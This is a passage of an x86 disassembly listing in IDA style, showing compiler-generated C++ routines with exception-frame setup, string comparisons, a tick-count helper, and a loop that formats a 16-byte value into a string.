ecx, [esp+12Ch+var_11C] call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 mov ebx, eax call sub_13ABA54 test edi, edi jnz short loc_13BD36D cmp eax, ebx jz short loc_13BD399 jmp short loc_13BD38C ; --------------------------------------------------------------------------- loc_13BD36D: ; CODE XREF: sub_13BD0C0+2A5j cmp edi, 1 jnz short loc_13BD378 cmp eax, ebx jnz short loc_13BD399 jmp short loc_13BD38C ; --------------------------------------------------------------------------- loc_13BD378: ; CODE XREF: sub_13BD0C0+2B0j cmp edi, 2 jnz short loc_13BD383 cmp eax, ebx jle short loc_13BD399 jmp short loc_13BD38C ; --------------------------------------------------------------------------- loc_13BD383: ; CODE XREF: sub_13BD0C0+2BBj cmp edi, 3 jnz short loc_13BD399 cmp eax, ebx jge short loc_13BD399 loc_13BD38C: ; CODE XREF: sub_13BD0C0+256j ; sub_13BD0C0+275j ... push 0 push esi mov ecx, offset byte_4472C7 call sub_13ABE32 loc_13BD399: ; CODE XREF: sub_13BD0C0+250j ; sub_13BD0C0+25Bj ... lea ecx, [esp+134h+var_DC] mov byte ptr [esp+134h+var_8C], 2 call sub_13AB626 lea ecx, [esp+134h+var_124] mov byte ptr [esp+134h+var_8C], 1 call sub_13AB626 lea ecx, [esp+134h+var_10C] mov byte ptr [esp+134h+var_8C], 0 call sub_13AB626 lea ecx, [esp+134h+var_F4] mov [esp+134h+var_8C], 0FFFFFFFFh call sub_13AB626 pop edi mov al, 1 pop ebx jmp short loc_13BD3E8 ; --------------------------------------------------------------------------- loc_13BD3E6: ; CODE XREF: sub_13BD0C0+39j mov al, 1 loc_13BD3E8: ; CODE XREF: sub_13BD0C0+324j mov ecx, [esp+0A8h+var_10] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 sub_13BD0C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD4F0 proc near ; CODE XREF: sub_13ABA54j call GetTickCount ; GetTickCount mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_13BD4F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD530 proc near ; CODE XREF: sub_13AC3FAj var_15 = byte ptr -15h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push 0FFFFFFFFh push 4399BCh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_13ABB49 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_13AC305 lea ecx, [esp+24h+var_15] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov [esp+28h+var_8], 2 call sub_13ABC43 mov ecx, edi mov [esp+28h+var_C], 3 mov dword ptr [esi], offset dword_43E044 call sub_13ABD24 mov ecx, ebx call sub_13AC062 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn sub_13BD530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD600 proc near ; CODE XREF: sub_13AC0F8j sub_13AC210j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC08F test [esp+4+arg_0], 1 jz short loc_13BD618 push esi call near ptr 13E0C02h add esp, 4 loc_13BD618: ; CODE XREF: sub_13BD600+Dj mov eax, esi pop esi retn 4 sub_13BD600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD630 proc near ; CODE XREF: sub_13AC08Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439A0Ch mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset dword_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_13ABD24 lea ebx, [esi+6Ch] mov ecx, ebx call sub_13AC062 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_13AB8B5 mov ecx, edi mov byte ptr [esp+1Ch+var_4], 1 call sub_13AB5B8 lea ecx, [esi+32h] mov byte ptr [esp+1Ch+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+1Ch+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn sub_13BD630 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD6F0 proc near ; CODE XREF: sub_13ABDF6j var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_30 = byte ptr -30h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 439A40h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+4Ch+var_48] mov [esp+4Ch+var_10], 0FFFFFFFFh call sub_13AB626 push 0 push 14h push 5 lea edx, [esp+58h+var_30] push 13h push edx call sub_13ABDB5 add esp, 14h push esi mov ecx, eax mov [esp+50h+var_10], 1 call sub_13ABBE4 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_1C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+58h+var_24] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13BD6F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD7E0 proc near ; CODE XREF: sub_13AC0D0j var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_13BD7E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_13ABBE4 test eax, eax jz short loc_13BD887 lea ecx, [esp+18h+var_14] call sub_13AC652 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_13ABCF2 mov ecx, [eax] lea edx, [esp+1Ch+var_14] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_13AB54A push eax lea ecx, [esp+24h+var_1C] call sub_13AB739 test al, al jz short loc_13BD887 loc_13BD848: ; CODE XREF: sub_13BD7E0+A5j lea eax, [esp+24h+var_8] lea ecx, [esp+24h+var_20] push eax call sub_13AB75C mov ecx, [eax] add ecx, 19h call sub_13ABF72 test eax, eax lea ecx, [esp+28h+var_24] jz short loc_13BD8AC call sub_13AB58B lea ecx, [esp+28h+var_20] push ecx mov ecx, esi call sub_13AB54A push eax lea ecx, [esp+30h+var_28] call sub_13AB739 test al, al jnz short loc_13BD848 loc_13BD887: ; CODE XREF: sub_13BD7E0+2Ej ; sub_13BD7E0+66j lea ecx, [esp+30h+var_14] mov [esp+30h+var_1C], 0FFFFFFFFh call sub_13AB626 xor eax, eax pop esi mov ecx, [esp+2Ch+var_24] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_13BD8AC: ; CODE XREF: sub_13BD7E0+86j call sub_13AB75C mov esi, [eax] lea ecx, [esp+28h+var_C] mov [esp+28h+var_14], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+28h+var_1C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_13BD7E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BD920 proc near ; CODE XREF: sub_13AC512j var_48 = byte ptr -48h var_44 = byte ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push 439A78h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_13ABBE4 test eax, eax jz loc_13BD9F3 lea ecx, [esp+28h+var_18] call sub_13AB437 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_13ABD83 mov ecx, [eax] lea edx, [esp+2Ch+var_18] mov [esp+2Ch+var_1C], ecx push edx mov ecx, ebp call sub_13AC634 push eax lea ecx, [esp+34h+var_20] call sub_13ABED7 test al, al jz short loc_13BD9F3 loc_13BD98F: ; CODE XREF: sub_13BD920+D1j lea ecx, [esp+34h+var_24] call sub_13AB5D1 mov edi, [eax] sub esp, 18h lea eax, [esp+4Ch+var_8] mov ecx, esp mov [esp+4Ch+var_1C], esp push eax call sub_13AB8C9 mov ecx, ebx call sub_13AC0D0 mov esi, eax test esi, esi jz short loc_13BD9BC mov edi, [esi] loc_13BD9BC: ; CODE XREF: sub_13BD920+98j lea ecx, [esp+50h+var_24] push ecx mov ecx, edi call sub_13ABF72 test eax, eax jz short loc_13BDA1B test esi, esi jnz short loc_13BDA1B lea ecx, [esp+54h+var_44] call sub_13ABCB6 lea edx, [esp+54h+var_40] mov ecx, ebp push edx call sub_13AC634 push eax lea ecx, [esp+5Ch+var_48] call sub_13ABED7 test al, al jnz short loc_13BD98F loc_13BD9F3: ; CODE XREF: sub_13BD920+31j ; sub_13BD920+6Dj lea ecx, [esp+5Ch+var_30] mov [esp+5Ch+var_38], 0FFFFFFFFh call sub_13AB626 xor eax, eax loc_13BDA06: ; CODE XREF: sub_13BD920+10Ej mov ecx, [esp+5Ch+var_40] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_13BDA1B: ; CODE XREF: sub_13BD920+AAj ; sub_13BD920+AEj lea ecx, [esp+54h+var_28] mov [esp+54h+var_30], 0FFFFFFFFh call sub_13AB626 mov eax, edi jmp short loc_13BDA06 sub_13BD920 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BDA80 proc near ; CODE XREF: sub_13AC346j var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 439AA0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_13ABBE4 test eax, eax jz short loc_13BDB24 lea ecx, [esp+14h+var_14] call sub_13AC21F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_13AB6E9 mov ecx, [eax] lea edx, [esp+18h+var_14] mov [esp+18h+var_18], ecx push edx lea ecx, [esp+1Ch+arg_14] call sub_13AC189 push eax lea ecx, [esp+20h+var_1C] call sub_13AC15C test al, al jz short loc_13BDB24 loc_13BDAE6: ; CODE XREF: sub_13BDA80+A2j lea eax, [esp+20h+var_8] lea ecx, [esp+20h+var_20] push eax call sub_13AC3A5 mov ecx, [eax] call sub_13ABF72 test eax, eax jz short loc_13BDB56 lea ecx, [esp+24h+var_24] call sub_13AC4A4 lea ecx, [esp+24h+var_20] push ecx lea ecx, [esp+28h+arg_8] call sub_13AC189 push eax lea ecx, [esp+2Ch+var_28] call sub_13AC15C test al, al jnz short loc_13BDAE6 loc_13BDB24: ; CODE XREF: sub_13BDA80+2Bj ; sub_13BDA80+64j lea ecx, [esp+2Ch+var_14] mov byte ptr [esp+2Ch+var_1C], 0 call sub_13AB626 lea ecx, [esp+2Ch+arg_0] mov [esp+2Ch+var_1C], 0FFFFFFFFh call sub_13AB978 xor eax, eax mov ecx, [esp+2Ch+var_24] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_13BDB56: ; CODE XREF: sub_13BDA80+7Dj push esi lea ecx, [esp+28h+var_24] call sub_13AC3A5 mov esi, [eax] lea ecx, [esp+28h+var_C] mov byte ptr [esp+28h+var_14], 0 call sub_13AB626 lea ecx, [esp+28h+arg_8] mov [esp+28h+var_14], 0FFFFFFFFh call sub_13AB978 mov ecx, [esp+28h+var_1C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h sub_13BDA80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BDBF0 proc near ; CODE XREF: sub_13AB5DBj var_B0 = byte ptr -0B0h var_AC = byte ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_94 = byte ptr -94h var_90 = byte ptr -90h var_78 = byte ptr -78h var_68 = byte ptr -68h var_64 = byte ptr -64h var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_10 = dword ptr 14h push 0FFFFFFFFh push 439ACEh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_13ABBE4 test eax, eax jz loc_13BDD23 lea eax, [esp+0A8h+var_64] push eax call sub_13ABE55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_13AB824 push offset byte_446F80 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_13AB9D7 lea ecx, [esp+0ACh] call sub_13AB7D9 push eax lea ecx, [esp+0B0h] call sub_13AB8D3 lea ecx, [esp+0B0h+var_68] push eax push ecx call sub_13AC012 lea edx, [esp+0B8h+var_68] lea eax, [esp+0B8h+var_78] push edx push eax call sub_13AC558 add esp, 14h loc_13BDC8B: ; CODE XREF: sub_13BDBF0+E8j lea ecx, [esp+0ACh+var_90] call sub_13AB824 xor ecx, ecx lea edx, [esp+0ACh+var_90] mov cl, [esp+esi+0ACh+var_78] mov [esp+0ACh+var_8], 2 push ecx push offset dword_443D54 push edx call sub_13AB42D add esp, 0Ch lea eax, [esp+0ACh+var_90] lea ecx, [esp+0ACh+var_A8] push eax call sub_13ABABD lea ecx, [esp+0B0h+var_94] mov [esp+0B0h+var_C], 1 call sub_13AB626 inc esi cmp esi, 10h jl short loc_13BDC8B mov edx, [esp+0B0h+arg_10] lea ecx, [esp+0B0h+var_AC] push ecx lea ecx, [edx+15h] call sub_13ABF72 test eax, eax mov byte ptr [esp+0B4h+var_10], 0 lea ecx, [esp+0B4h+var_B0] jnz short loc_13BDD1E call sub_13AB626 lea ecx, [esp+0B4h+var_8] mov [esp+0B4h+var_10], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp short loc_13BDD3C ; --------------------------------------------------------------------------- loc_13BDD1E: ; CODE XREF: sub_13BDBF0+10Cj call sub_13AB626 loc_13BDD23: ; CODE XREF: sub_13BDBF0+33j lea ecx, [esp+0B4h+var_8] mov [esp+0B4h+var_10], 0FFFFFFFFh call sub_13AB626 xor al, al loc_13BDD3C: ; CODE XREF: sub_13BDBF0+12Cj mov ecx, [esp+0B4h+var_18] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_13BDBF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BDDC0 proc near ; CODE XREF: sub_13ABD1Fj var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_44 = byte ptr -44h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 439B08h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_13AB8C9 mov ecx, esi call sub_13AC512 test eax, eax jz short loc_13BDE6E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+40h+var_30], esp push eax call sub_13ABB1C sub esp, 18h lea edx, [esp+5Ch+var_1C] mov ecx, esp mov [esp+5Ch+var_30], esp push edx mov [esp+60h+var_24], 2 call sub_13AB8C9 mov ecx, esi mov byte ptr [esp+60h+var_28], 1 call sub_13AC346 test eax, eax jz short loc_13BDE6E lea ecx, [esp+60h+var_44] mov byte ptr [esp+60h+var_4C], 0 call sub_13AB626 lea ecx, [esp+60h+var_2C] mov [esp+60h+var_4C], 0FFFFFFFFh call sub_13AB626 mov al, 1 mov ecx, [esp+60h+var_54] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_13BDE6E: ; CODE XREF: sub_13BDDC0+3Fj ; sub_13BDDC0+79j lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+var_20], 0 call sub_13AB626 lea ecx, [esp+34h] mov [esp+34h+var_20], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_28] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_13BDDC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BDEF0 proc near ; CODE XREF: sub_13AB793j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 439B28h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_4] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+2Ch+var_10], esp push eax call sub_13ABC61 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+48h+arg_0], esp push edx mov [esp+4Ch+var_8], 0 call sub_13ABC61 mov ecx, esi mov [esp+4Ch+var_C], 0FFFFFFFFh call sub_13ABD1F mov ecx, [esp+1Ch+var_14] pop esi mov large fs:0, ecx add esp, 10h retn 8 sub_13BDEF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BDF80 proc near ; CODE XREF: sub_13AB581j var_70 = byte ptr -70h var_60 = byte ptr -60h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_24 = byte ptr -24h var_20 = byte ptr -20h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_8 = dword ptr 0Ch arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 439B63h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_13BE0C9 lea ecx, [esp+48h+arg_0] call sub_13ABBE4 test eax, eax jz loc_13BE0C9 push esi push edi push offset dword_443CA4 lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+60h+var_10], 1 call sub_13AB6EE lea ecx, [esp+60h+var_4C] mov edi, eax mov [esp+60h+var_14], bl call sub_13AB626 cmp edi, ebx jz loc_13BE0A3 add ebp, 54h loc_13BE000: ; CODE XREF: sub_13BDF80+11Dj push 15h call near ptr 13E0C1Ah add esp, 4 mov [esp+60h+var_50], eax cmp eax, ebx mov [esp+60h+var_14], 2 jz short loc_13BE020 mov ecx, eax call sub_13AC32D jmp short loc_13BE022 ; --------------------------------------------------------------------------- loc_13BE020: ; CODE XREF: sub_13BDF80+95j xor eax, eax loc_13BE022: ; CODE XREF: sub_13BDF80+9Ej push offset dword_443CA4 lea ecx, [esp+64h+var_34] push esi push ecx lea ecx, [esp+6Ch+var_C] mov [esp+6Ch+var_14], bl mov [esp+6Ch+arg_8], eax call sub_13ABAAE mov ecx, [esp+6Ch] push eax mov [esp+70h+var_20], 3 call sub_13AC40E lea ecx, [esp+70h+var_44] mov [esp+70h+var_24], bl call sub_13AB626 lea edx, [esp+70h+var_4] mov ecx, ebp push edx call sub_13AB87E inc esi push offset dword_443CA4 lea eax, [esp+78h+var_60] push esi push eax lea ecx, [esp+80h+var_20] call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+84h+var_34], 1 call sub_13AB6EE lea ecx, [esp+84h+var_70] mov edi, eax mov byte ptr [esp+84h+var_38], bl call sub_13AB626 cmp edi, ebx jnz loc_13BE000 loc_13BE0A3: ; CODE XREF: sub_13BDF80+77j lea ecx, [esp+84h+var_30] mov [esp+84h+var_38], 0FFFFFFFFh call sub_13AB626 pop edi pop esi pop ebp pop ebx mov ecx, [esp+74h+var_40] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_13BE0C9: ; CODE XREF: sub_13BDF80+26j ; sub_13BDF80+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_13BDF80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE150 proc near ; CODE XREF: sub_13AC32Dj push esi mov esi, ecx call sub_13AB824 mov eax, esi pop esi retn sub_13BE150 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE170 proc near ; CODE XREF: sub_13AB4F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+20h+arg_4], esp push edx call sub_13ABC61 mov ecx, esi call sub_13AB581 pop esi retn 8 sub_13BE170 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE1B0 proc near ; CODE XREF: sub_13ABC9Dj var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_68 = byte ptr -68h var_64 = byte ptr -64h var_5C = byte ptr -5Ch var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_38 = byte ptr -38h var_30 = dword ptr -30h var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_14 = byte ptr 18h arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h push 0FFFFFFFFh push 439BB3h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_13AB8C9 mov ecx, ebp call sub_13AC0D0 xor ebx, ebx cmp eax, ebx jnz loc_13BE39E sub esp, 18h lea edx, [esp+58h+var_18] mov ecx, esp mov [esp+58h+var_30], esp push edx call sub_13AB8C9 mov ecx, ebp call sub_13AC512 mov edi, eax cmp edi, ebx jz loc_13BE39E push edi lea eax, [esp+60h+var_1C] sub esp, 18h mov ecx, esp mov [esp+78h+var_4C], esp push eax call sub_13AB8C9 mov ecx, ebp call sub_13AB5DB cmp al, bl jz loc_13BE39E push offset byte_446F80 lea ecx, [esp+80h+var_C] call sub_13AB6EE test eax, eax jz short loc_13BE297 lea ecx, [edi+2Ah] call sub_13ABBE4 lea ecx, [esp+80h+var_10] mov esi, eax call sub_13ABBE4 loc_13BE266: ; CODE XREF: sub_13BE1B0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13BE28A cmp cl, bl jz short loc_13BE286 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13BE28A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_13BE266 loc_13BE286: ; CODE XREF: sub_13BE1B0+C0j xor eax, eax jmp short loc_13BE28F ; --------------------------------------------------------------------------- loc_13BE28A: ; CODE XREF: sub_13BE1B0+BCj ; sub_13BE1B0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13BE28F: ; CODE XREF: sub_13BE1B0+D8j cmp eax, ebx jnz loc_13BE39E loc_13BE297: ; CODE XREF: sub_13BE1B0+A1j push offset byte_446F80 lea ecx, [esp+84h+arg_4] call sub_13AB6EE test eax, eax jz short loc_13BE2F3 lea ecx, [edi+3Fh] call sub_13ABBE4 lea ecx, [esp+84h+arg_0] mov esi, eax call sub_13ABBE4 loc_13BE2C2: ; CODE XREF: sub_13BE1B0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13BE2E6 cmp cl, bl jz short loc_13BE2E2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13BE2E6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_13BE2C2 loc_13BE2E2: ; CODE XREF: sub_13BE1B0+11Cj xor eax, eax jmp short loc_13BE2EB ; --------------------------------------------------------------------------- loc_13BE2E6: ; CODE XREF: sub_13BE1B0+118j ; sub_13BE1B0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13BE2EB: ; CODE XREF: sub_13BE1B0+134j cmp eax, ebx jnz loc_13BE39E loc_13BE2F3: ; CODE XREF: sub_13BE1B0+FAj push 58h call near ptr 13E0C1Ah add esp, 4 mov [esp+84h+var_70], eax cmp eax, ebx mov [esp+84h+var_64], 5 jz short loc_13BE313 mov ecx, eax call sub_13AC107 jmp short loc_13BE315 ; --------------------------------------------------------------------------- loc_13BE313: ; CODE XREF: sub_13BE1B0+158j xor eax, eax loc_13BE315: ; CODE XREF: sub_13BE1B0+161j mov [esp+84h+var_74], eax mov [eax], edi mov ecx, [esp+84h+var_74] lea eax, [esp+84h+var_5C] push eax add ecx, 4 mov [esp+88h+var_64], 4 call sub_13AC40E mov eax, [esp+88h+var_78] lea edx, [esp+88h+var_30] push edx lea ecx, [eax+19h] call sub_13AC40E lea ecx, [esp+8Ch+var_7C] push ecx lea ecx, [ebp+6Ch] call sub_13AB806 lea ecx, [esp+90h+var_68] mov byte ptr [esp+90h+var_70], 3 call sub_13AB626 lea ecx, [esp+90h+var_50] mov byte ptr [esp+90h+var_70], 2 call sub_13AB626 lea ecx, [esp+90h+var_38] mov byte ptr [esp+90h+var_70], 1 call sub_13AB626 lea ecx, [esp+90h+var_20] mov byte ptr [esp+90h+var_70], bl call sub_13AB626 lea ecx, [esp+90h+var_8] mov [esp+90h+var_70], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp short loc_13BE3EB ; --------------------------------------------------------------------------- loc_13BE39E: ; CODE XREF: sub_13BE1B0+44j ; sub_13BE1B0+68j ... lea ecx, [esp+40h+var_18] mov byte ptr [esp+40h+var_20], 3 call sub_13AB626 lea ecx, [esp+40h] mov byte ptr [esp+40h+var_20], 2 call sub_13AB626 lea ecx, [esp+40h+arg_14] mov byte ptr [esp+40h+var_20], 1 call sub_13AB626 lea ecx, [esp+40h+arg_2C] mov byte ptr [esp+40h+var_20], bl call sub_13AB626 lea ecx, [esp+40h+arg_44] mov [esp+40h+var_20], 0FFFFFFFFh call sub_13AB626 xor al, al loc_13BE3EB: ; CODE XREF: sub_13BE1B0+1ECj mov ecx, [esp+40h+var_28] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_13BE1B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE4A0 proc near ; CODE XREF: sub_13AC107j var_10 = dword ptr -10h var_C = 